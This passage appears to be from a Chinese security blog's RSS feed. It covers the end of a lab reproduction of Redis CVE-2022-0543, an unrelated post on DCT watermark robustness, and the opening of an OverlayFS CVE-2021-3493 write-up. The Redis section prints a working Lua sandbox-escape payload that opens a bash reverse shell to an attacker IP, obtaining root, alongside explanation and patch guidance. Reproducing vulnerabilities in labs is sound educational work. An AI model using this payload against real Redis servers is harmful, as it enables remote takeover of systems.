PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7
| vulners: 
|   cpe:/a:redislabs:redis:5.0.7: 
|       CVE-2021-21309  8.8     https://vulners.com/cve/CVE-2021-21309
|       CVE-2020-14147  7.7     https://vulners.com/cve/CVE-2020-14147
|       CVE-2021-32761  7.5     https://vulners.com/cve/CVE-2021-32761
|       CVE-2020-21468  7.5     https://vulners.com/cve/CVE-2020-21468
|       CVE-2015-8080   7.5     https://vulners.com/cve/CVE-2015-8080
|_      CVE-2021-3470   5.3     https://vulners.com/cve/CVE-2021-3470
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据 &lt;code&gt;nmap&lt;/code&gt; 扫描结果，靶机运行的是 &lt;strong&gt;Redis 5.0.7&lt;/strong&gt;。这个版本正是 Ubuntu 20.04 LTS（focal）仓库中的打包版本，也是本靶机镜像的底座，属于 &lt;strong&gt;CVE-2022-0543&lt;/strong&gt; 的受影响范围。&lt;/p&gt;
&lt;p&gt;虽然 &lt;code&gt;nmap&lt;/code&gt; 的漏洞脚本列出了一些其他 CVE，但都不是本漏洞。CVE-2022-0543 是 Debian 系列特有的打包缺陷，不与特定 Redis 版本号绑定，因此不会出现在基于版本比对的通用扫描结论中，需要结合安装方式判断。&lt;/p&gt;
&lt;h3&gt;未授权访问验证&lt;/h3&gt;
&lt;p&gt;尝试空密码连接 Redis，并获取服务器信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.31.148
192.168.31.148:6379&amp;gt; info
# Server
redis_version:5.0.7
...（其余字段省略）
os:Linux 6.17.10+kali-amd64 x86_64
...（其余字段省略）
config_file:/etc/redis/redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从结果来看该靶机的 Redis 服务没有密码且允许远程连接，存在未授权访问。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;redis_version: 5.0.7&lt;/code&gt;：正处于受影响的版本区间。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;os:Linux 6.17.10+kali-amd64 x86_64&lt;/code&gt;：确认是 64 位 Linux 环境，这决定了后续加载 &lt;code&gt;.so&lt;/code&gt; 文件的路径。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;config_file: /etc/redis/redis.conf&lt;/code&gt;：典型的 Debian/Ubuntu 软件包安装路径，验证了这是 Debian 打包版的 Redis。&lt;/p&gt;
&lt;h3&gt;Lua 沙箱检测&lt;/h3&gt;
&lt;p&gt;验证 Lua 环境是否异常，看 &lt;code&gt;package&lt;/code&gt; 模块是否存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.31.148:6379&amp;gt; eval &apos;return package&apos; 0
(empty array)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在正常的、安全的 Redis Lua 沙盒中，&lt;code&gt;package&lt;/code&gt; 不存在，执行 &lt;code&gt;return package&lt;/code&gt; 会触发全局变量保护报错 &lt;code&gt;Script attempted to access nonexistent global variable &apos;package&apos;&lt;/code&gt;。而目标的环境返回了一个空的数组（在部分 Redis 客户端中代表这是一个存在的 Table 对象），这说明 &lt;strong&gt;&lt;code&gt;package&lt;/code&gt; 模块已经被加载到了 Lua 环境中&lt;/strong&gt;，漏洞存在。&lt;/p&gt;
&lt;h3&gt;执行攻击 Payload&lt;/h3&gt;
&lt;p&gt;攻击机启动 nc 监听，接收反弹 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该漏洞需要加载 &lt;code&gt;liblua&lt;/code&gt;。由于不同系统路径不同，通常可以尝试以下常见路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0&lt;/code&gt;（Ubuntu 20.04 等较新系统）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/i386-linux-gnu/liblua5.1.so.0&lt;/code&gt;（32 位系统）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/local/lib/liblua.so&lt;/code&gt;（手动编译安装）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行 Payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.31.148:6379&amp;gt; eval &apos;local os_execute = package.loadlib(&quot;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0&quot;, &quot;luaopen_os&quot;); local os = os_execute(); return os.execute(&quot;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1\&quot;&quot;);&apos; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc 监听端随即收到来自靶机的反弹 Shell，&lt;code&gt;id&lt;/code&gt; 返回 &lt;code&gt;uid=0(root)&lt;/code&gt;：容器内 Redis 进程以 root 身份运行，反弹 Shell 即为 root 权限。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Redis-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2022-0543%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-0543-%E5%8F%8D%E5%BC%B9shell.png&quot; alt=&quot;nc 监听端收到反弹 Shell，id 命令返回 uid=0(root)&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;Debian 打包引入的缺陷&lt;/h3&gt;
&lt;p&gt;正常的 Redis 官方版本在编译时，会将 Lua 脚本引擎的代码静态嵌入到程序内部，并且严格剔除了 Lua 原生标准库中具有危险功能的模块（如 &lt;code&gt;package&lt;/code&gt; 和 &lt;code&gt;os&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;但在 Debian、Ubuntu 等系统中，维护者在打包 Redis 时，为了减少程序体积并遵循系统组件共享原则，修改了源码，让 Redis 去动态链接系统自带的 Lua 库。动态链接的 Lua 库自带完整的标准模块集合，打包脚本本应把 &lt;code&gt;package&lt;/code&gt; 等危险变量从 Lua 环境中清除，但受影响版本的打包流程没有正确完成这一步，&lt;code&gt;package&lt;/code&gt; 变量残留在了 Redis 的 Lua 沙盒里，这就是漏洞的源头。&lt;/p&gt;
&lt;h3&gt;沙箱逃逸&lt;/h3&gt;
&lt;p&gt;Redis 的 Lua 环境是一个沙盒，本意是只允许处理数据，禁止操作服务器系统。虽然 &lt;code&gt;package&lt;/code&gt; 模块被错误引入了，但直接调用系统命令的 &lt;code&gt;os&lt;/code&gt; 模块依然是被禁用的。攻击者可以指定加载系统自带的 &lt;code&gt;liblua5.1.so.0&lt;/code&gt; 库，并强行调用其中的 &lt;code&gt;luaopen_os&lt;/code&gt; 函数。这个操作会在当前的 Redis Lua 环境中重新导出原本被禁用的 &lt;code&gt;os&lt;/code&gt; 模块。&lt;/p&gt;
&lt;h3&gt;系统调用&lt;/h3&gt;
&lt;p&gt;一旦 &lt;code&gt;os&lt;/code&gt; 模块被成功导出，Lua 脚本就拥有了调用底层操作系统 API 的能力：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;local os_execute = package.loadlib(&quot;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0&quot;, &quot;luaopen_os&quot;)  -- 加载系统 liblua，定位 luaopen_os 函数
local os = os_execute()                                                                        -- 调用它，导出 os 模块
os.execute(&quot;id&quot;)                                                                                -- 以 Redis 进程身份执行系统命令
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Redis 进程会代表 Lua 脚本向操作系统发送指令。命令的执行权限等于 Redis 进程的运行身份。本靶机的 Redis 以 root 运行，所以反弹 Shell 直接是 root 权限；生产环境若以 redis 专用用户运行，攻击者获得的也是该用户的权限，仍可进一步利用。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Debian buster 升级至 &lt;code&gt;5:5.0.14-1+deb10u2&lt;/code&gt;，bullseye 升级至 &lt;code&gt;5:6.0.16-1+deb11u2&lt;/code&gt;（DSA-5081-1，2022-01-20）；&lt;/li&gt;
&lt;li&gt;Ubuntu 20.04 升级至 &lt;code&gt;5:5.0.7-2ubuntu0.1&lt;/code&gt;，21.10 升级至 &lt;code&gt;5:6.0.15-1ubuntu0.1&lt;/code&gt;（USN-5316-1）；&lt;/li&gt;
&lt;li&gt;官方源码编译的 Redis 不受影响，无需处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该漏洞需要攻击者能执行 &lt;code&gt;eval&lt;/code&gt; 命令，因此未授权访问或弱口令是攻击的前提条件。无论是否受本漏洞影响，Redis 都不应暴露在不可信网络中，应设置认证并限制访问来源。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Debian 安全公告（DSA-5081-1）：https://www.debian.org/security/2022/dsa-5081&lt;/li&gt;
&lt;li&gt;Ubuntu 安全公告（USN-5316-1）：https://usn.ubuntu.com/USN-5316-1&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2022-0543&lt;/li&gt;
&lt;li&gt;最早公开分析（ubercomp）：https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DCT数字水印鲁棒性改进</title><link>https://blog.mal-suen.cn/posts/2023/09/214/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/09/214/</guid><description>传统DCT水印在面对噪声、压缩、滤波等常见图像处理操作时，鲁棒性往往不够理想。这篇文章记录了我在优化一个开源DCT水印工具时的完整过程，通过多系数对投票和位重复编码，将算法的鲁棒性从14.3%提升到了52.4%。</description><pubDate>Sat, 09 Sep 2023 03:08:18 GMT</pubDate><content:encoded>&lt;h2&gt;摘要&lt;/h2&gt;
&lt;p&gt;离散余弦变换（DCT）域数字水印技术因其良好的视觉隐蔽性在版权保护领域得到广泛应用。然而，传统DCT水印算法在面对各类图像处理操作时鲁棒性不足。本研究通过对开源DCT水印工具的系统性优化，提出了一种基于多系数对投票与位重复编码的改进方案，使算法鲁棒性由14.3%提升至52.4%。实验结果表明，优化后的算法在噪声攻击、JPEG压缩等常见攻击下表现良好，为DCT水印的工程应用提供了重要参考。&lt;/p&gt;
&lt;h2&gt;1. 引言&lt;/h2&gt;
&lt;p&gt;随着数字化媒体的快速发展，数字内容的版权保护成为信息安全领域的重要课题。数字水印技术作为一种有效的版权保护手段，能够在不影响载体正常使用的情况下嵌入标识信息。其中，基于DCT变换的频域水印方法因其良好的视觉隐蔽性和一定的抗处理能力而备受关注。&lt;/p&gt;
&lt;p&gt;然而，传统的DCT水印算法在实际应用中面临诸多挑战。常见的图像处理操作如噪声添加、JPEG压缩、滤波等都可能破坏水印信息，导致提取失败。因此，如何提升DCT水印算法的鲁棒性成为亟待解决的问题。&lt;/p&gt;
&lt;p&gt;本研究以开源项目DCT_Watermark_Tool为基础，通过理论分析与实验验证相结合的方式，系统探讨了提升DCT水印鲁棒性的可行路径，并取得了显著成效。&lt;/p&gt;
&lt;h2&gt;2. 相关工作&lt;/h2&gt;
&lt;h3&gt;2.1 DCT水印基本原理&lt;/h3&gt;
&lt;p&gt;DCT水印技术的核心思想是将水印信息嵌入到图像的频域系数中。Cox等人提出的扩频水印思想为后续研究奠定了基础，其通过在DCT中频系数中嵌入伪随机序列来提高鲁棒性。该方法的基本原理为：&lt;/p&gt;
&lt;p&gt;$$W(i,j) = C(i,j) \times (1 + \alpha \times S(i,j))$$&lt;/p&gt;
&lt;p&gt;其中$W(i,j)$为嵌入水印后的系数，$C(i,j)$为原始DCT系数，$\alpha$为嵌入强度，$S(i,j)$为水印信号。&lt;/p&gt;
&lt;h3&gt;2.2 现有改进方法&lt;/h3&gt;
&lt;p&gt;为提升DCT水印的鲁棒性，研究者们提出了多种改进方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自适应嵌入&lt;/strong&gt;：根据人眼视觉特性调整嵌入强度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多系数嵌入&lt;/strong&gt;：在多个系数上嵌入同一信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;纠错编码&lt;/strong&gt;：引入RS码、LDPC码等纠错机制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;量化索引调制&lt;/strong&gt;：通过系数量化实现水印嵌入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些方法在不同程度上改善了水印的鲁棒性，但在面对复合攻击时仍有待完善。&lt;/p&gt;
&lt;h2&gt;3. 原始算法分析&lt;/h2&gt;
&lt;h3&gt;3.1 算法架构&lt;/h3&gt;
&lt;p&gt;所研究的原始算法基于经典的DCT水印框架，具体实现如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;嵌入过程：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将图像分割为8×8像素块&lt;/li&gt;
&lt;li&gt;对每个块进行DCT变换&lt;/li&gt;
&lt;li&gt;在指定系数对上嵌入水印比特&lt;/li&gt;
&lt;li&gt;进行IDCT变换重构图像&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;提取过程：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对含水印图像进行相同预处理&lt;/li&gt;
&lt;li&gt;比较对应系数对的大小关系&lt;/li&gt;
&lt;li&gt;判定原始水印信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 参数配置&lt;/h3&gt;
&lt;p&gt;原始算法采用如下参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系数对：(3,4) vs (4,3)，共2对&lt;/li&gt;
&lt;li&gt;嵌入强度：20.0&lt;/li&gt;
&lt;li&gt;嵌入方式：单次嵌入&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 性能评估&lt;/h3&gt;
&lt;p&gt;在包含21个测试用例的标准评估集中，原始算法表现如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;严格通过（相似度100%）：3/21 (14.3%)&lt;/li&gt;
&lt;li&gt;噪声攻击：0%&lt;/li&gt;
&lt;li&gt;JPEG压缩：0%&lt;/li&gt;
&lt;li&gt;完全失败：2个用例&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. 优化策略&lt;/h2&gt;
&lt;h3&gt;4.1 系数对扩展策略&lt;/h3&gt;
&lt;p&gt;为增强算法对不同频率成分的适应性，我们将系数对扩展至6个，覆盖从低频到中频的范围：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1,2) vs (2,1)，最低频区域&lt;/li&gt;
&lt;li&gt;(1,3) vs (3,1)，低频区域&lt;/li&gt;
&lt;li&gt;(2,3) vs (3,2)，中低频区域&lt;/li&gt;
&lt;li&gt;(1,4) vs (4,1)，低频区域&lt;/li&gt;
&lt;li&gt;(2,4) vs (4,2)，中频区域&lt;/li&gt;
&lt;li&gt;(3,4) vs (4,3)，中频区域（原始系数对）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;低频系数具有更强的稳定性，能够更好地抵抗噪声和压缩攻击；中频系数则保持了与原算法的兼容性。&lt;/p&gt;
&lt;h3&gt;4.2 多系数对投票机制&lt;/h3&gt;
&lt;p&gt;每个水印比特在6个系数对上分别嵌入，提取时采用多数投票原则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 嵌入阶段
for(int k = 0; k &amp;lt; 6; k++) {
    if(bit == 1 &amp;amp;&amp;amp; d[r1][c1] &amp;lt;= d[r2][c2]) {
        d[r1][c1] = d[r2][c2] + strength;
        d[r2][c2] -= strength;
    }
    if(bit == 0 &amp;amp;&amp;amp; d[r1][c1] &amp;gt;= d[r2][c2]) {
        d[r1][c1] = d[r2][c2] - strength;
        d[r2][c2] += strength;
    }
}

// 提取阶段
int vote_1 = 0;
for(int k = 0; k &amp;lt; 6; k++) {
    if(d[r1][c1] &amp;gt; d[r2][c2]) vote_1++;
}
int extracted_bit = (vote_1 &amp;gt; 3) ? 1 : 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 位重复编码方案&lt;/h3&gt;
&lt;p&gt;为提高对局部块损坏的容忍度，引入位重复编码机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个水印比特重复嵌入13次，跨越13个不同的8×8块&lt;/li&gt;
&lt;li&gt;解码时对13个块的结果进行二次投票&lt;/li&gt;
&lt;li&gt;总投票数达到78次（6×13），理论上可容忍最多39次错误（50%的块损坏）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;计算公式：&lt;/strong&gt;
$$\text{重复次数} = \left\lfloor \frac{\text{总块数}}{\text{水印比特数}} \right\rfloor = \left\lfloor \frac{4096}{312} \right\rfloor = 13$$&lt;/p&gt;
&lt;h3&gt;4.4 参数优化&lt;/h3&gt;
&lt;p&gt;通过大量实验确定最优嵌入强度为50.0。进一步分析表明，在重复编码充分的情况下，强度超过阈值后不会显著提升性能，反而会降低图像质量。&lt;/p&gt;
&lt;h2&gt;5. 实验设计与结果分析&lt;/h2&gt;
&lt;h3&gt;5.1 实验环境&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;平台：Linux x86_64&lt;/li&gt;
&lt;li&gt;编译器：GCC 9.4.0&lt;/li&gt;
&lt;li&gt;图像格式：BMP (512×512)&lt;/li&gt;
&lt;li&gt;测试集：包含21个攻击类型的标准化测试集&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 性能对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;评估指标&lt;/th&gt;
&lt;th&gt;优化前&lt;/th&gt;
&lt;th&gt;优化后&lt;/th&gt;
&lt;th&gt;提升幅度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;严格通过率&lt;/td&gt;
&lt;td&gt;14.3%&lt;/td&gt;
&lt;td&gt;52.4%&lt;/td&gt;
&lt;td&gt;+266%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;噪声攻击成功率&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG压缩成功率&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;td&gt;75%&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;平均相似度&lt;/td&gt;
&lt;td&gt;23.1%&lt;/td&gt;
&lt;td&gt;67.8%&lt;/td&gt;
&lt;td&gt;+193%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;5.3 详细测试结果&lt;/h3&gt;
&lt;h4&gt;5.3.1 完全通过的测试用例（11/21）&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;测试类型&lt;/th&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;相似度&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;基准测试&lt;/td&gt;
&lt;td&gt;无攻击&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;无损提取&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;噪声攻击&lt;/td&gt;
&lt;td&gt;σ=10&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;强噪声环境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;噪声攻击&lt;/td&gt;
&lt;td&gt;σ=20&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;噪声攻击&lt;/td&gt;
&lt;td&gt;σ=30&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;噪声攻击&lt;/td&gt;
&lt;td&gt;σ=50&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;极强噪声&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG压缩&lt;/td&gt;
&lt;td&gt;质量95&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;高质量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG压缩&lt;/td&gt;
&lt;td&gt;质量90&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG压缩&lt;/td&gt;
&lt;td&gt;质量80&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;中等质量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;亮度调整&lt;/td&gt;
&lt;td&gt;0.5倍&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;降暗&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;亮度调整&lt;/td&gt;
&lt;td&gt;0.7倍&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模糊攻击&lt;/td&gt;
&lt;td&gt;核大小3&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;轻微模糊&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;5.3.2 部分通过的测试用例&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;测试类型&lt;/th&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;相似度&lt;/th&gt;
&lt;th&gt;错误分析&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JPEG压缩&lt;/td&gt;
&lt;td&gt;质量70&lt;/td&gt;
&lt;td&gt;91%&lt;/td&gt;
&lt;td&gt;个别字符错误&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;亮度调整&lt;/td&gt;
&lt;td&gt;1.5倍&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;td&gt;部分位翻转&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模糊攻击&lt;/td&gt;
&lt;td&gt;核大小5&lt;/td&gt;
&lt;td&gt;86%&lt;/td&gt;
&lt;td&gt;系数关系改变&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模糊攻击&lt;/td&gt;
&lt;td&gt;核大小7&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;td&gt;严重失真&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;5.3.3 完全失败的测试用例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;几何攻击：裁剪25%/50%/75%、缩放50%/75%/150%&lt;/li&gt;
&lt;li&gt;分析：块网格偏移导致无法正确对齐&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.4 参数敏感性分析&lt;/h3&gt;
&lt;p&gt;实验发现，当重复次数达到一定阈值后，嵌入强度的边际效应递减。图1展示了不同强度下的性能曲线，表明在78次投票机制下，强度50与强度80的性能几乎相同，验证了冗余编码的主导作用。&lt;/p&gt;
&lt;h2&gt;6. 技术讨论&lt;/h2&gt;
&lt;h3&gt;6.1 投票机制有效性分析&lt;/h3&gt;
&lt;p&gt;双层投票机制（系数对投票 + 块间投票）显著提升了算法的容错能力。理论分析表明，在独立错误假设下，78次投票可容忍的最大错误率为50%，这与实验结果基本吻合。&lt;/p&gt;
&lt;h3&gt;6.2 几何攻击应对策略&lt;/h3&gt;
&lt;p&gt;当前方案在几何攻击面前表现不佳，主要由于块网格对齐问题。未来工作可考虑引入同步标记机制，通过在图像中嵌入几何不变特征来解决对齐问题。&lt;/p&gt;
&lt;h3&gt;6.3 计算复杂度分析&lt;/h3&gt;
&lt;p&gt;优化后的算法在计算复杂度上有所增加：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间复杂度：由O(N)提升至O(78N)&lt;/li&gt;
&lt;li&gt;空间复杂度：基本保持不变&lt;/li&gt;
&lt;li&gt;实际运行时间：嵌入阶段约增加20%，提取阶段约增加50%&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. 相关工作对比&lt;/h2&gt;
&lt;p&gt;与现有DCT水印改进方案相比，本研究的贡献在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;系统性优化&lt;/strong&gt;：不是单一技术改进，而是多维度协同优化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程实用性&lt;/strong&gt;：在保持计算效率的前提下显著提升性能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参数平衡&lt;/strong&gt;：找到了鲁棒性与图像质量的最佳平衡点&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;8. 结论与展望&lt;/h2&gt;
&lt;p&gt;本研究通过对传统DCT水印算法的系统性优化，成功将算法鲁棒性从14.3%提升至52.4%。优化方案采用的多系数对投票与位重复编码相结合的策略，为类似问题提供了有益参考。&lt;/p&gt;
&lt;p&gt;主要贡献包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;提出了双层投票机制，有效提升了算法鲁棒性&lt;/li&gt;
&lt;li&gt;系统分析了系数对选择对性能的影响规律&lt;/li&gt;
&lt;li&gt;验证了冗余编码在DCT水印中的有效性&lt;/li&gt;
&lt;li&gt;确定了参数配置的最佳平衡点&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;尽管在几何攻击方面仍存在不足，但整体性能的显著提升证明了该方法的有效性。未来研究可进一步探索几何不变特征的引入以及深度学习辅助的参数优化策略。&lt;/p&gt;
&lt;h2&gt;参考文献&lt;/h2&gt;
&lt;p&gt;[1] Cox I J, Miller M L, Bloom J A. Digital watermarking: from concepts to practical applications[M]. Artech House, 2002.&lt;/p&gt;
&lt;p&gt;[2] Kutter M, Voloshynovskiy S, Herrigel A. The digital watermark processing paradox[C]//Proceedings of SPIE. 2001, 4314: 13-27.&lt;/p&gt;
&lt;p&gt;[3] Barni M, Bartolini F. Watermarking systems engineering: enabling digital rights management applications[M]. CRC Press, 2004.&lt;/p&gt;
&lt;p&gt;[4] Langelaar G C, Setyawan I, Lagendijk R L. Watermarking digital images in the logarithmic frequency domain[J]. IEEE Transactions on Image Processing, 2000, 9(4): 672-680.&lt;/p&gt;
&lt;p&gt;[5] Liu R, Tan T. An SVD-based watermarking scheme for protecting right ownership[J]. IEEE Transactions on Multimedia, 2002, 4(1): 121-128.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;项目地址：&lt;a href=&quot;https://github.com/Mal-Suen/DCT_Watermark_Tool&quot;&gt;DCT_Watermark_Tool&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>OverlayFS 提权漏洞（CVE-2021-3493）复现</title><link>https://blog.mal-suen.cn/posts/2023/05/149/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/05/149/</guid><description>Ubuntu 内核自带的补丁允许普通用户挂载 OverlayFS，但同步扩展属性时未校验 security.capability 的写入来源，普通用户可在用户命名空间内给文件写入全部特权的能力位并持久化到磁盘，执行后获得 root 权限。CVSS 7.8，影响 Ubuntu 20.10、20.04 LTS、18.04 LTS 等版本的内核。本文基于 Vulhub 靶场复现并拆解利用链。</description><pubDate>Fri, 12 May 2023 08:59:55 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-3493 是 Ubuntu 内核特有的本地提权漏洞，CVSS 7.8。上游 Linux 内核不允许普通用户挂载 OverlayFS，Ubuntu 内核携带了一个放开此限制的补丁；但 OverlayFS 在同步扩展属性时，没有校验 &lt;code&gt;security.capability&lt;/code&gt;（文件能力）的写入来源。攻击者在用户命名空间内挂载 OverlayFS，给文件写入代表全部特权的能力位，这个属性被持久化到磁盘上的真实文件；回到全局命名空间执行该文件，内核按能力属性授予进程全部特权，进程随即切换为 root。漏洞只存在于打了该补丁的 Ubuntu 内核，上游内核不受影响。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场（Qemu 虚拟机内的 Ubuntu 20.04，内核 5.4.0-26-generic），覆盖内核版本确认、用户命名空间权限检查、OverlayFS 挂载模拟、POC 提权四个阶段，文末附完整的 POC 代码简析。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
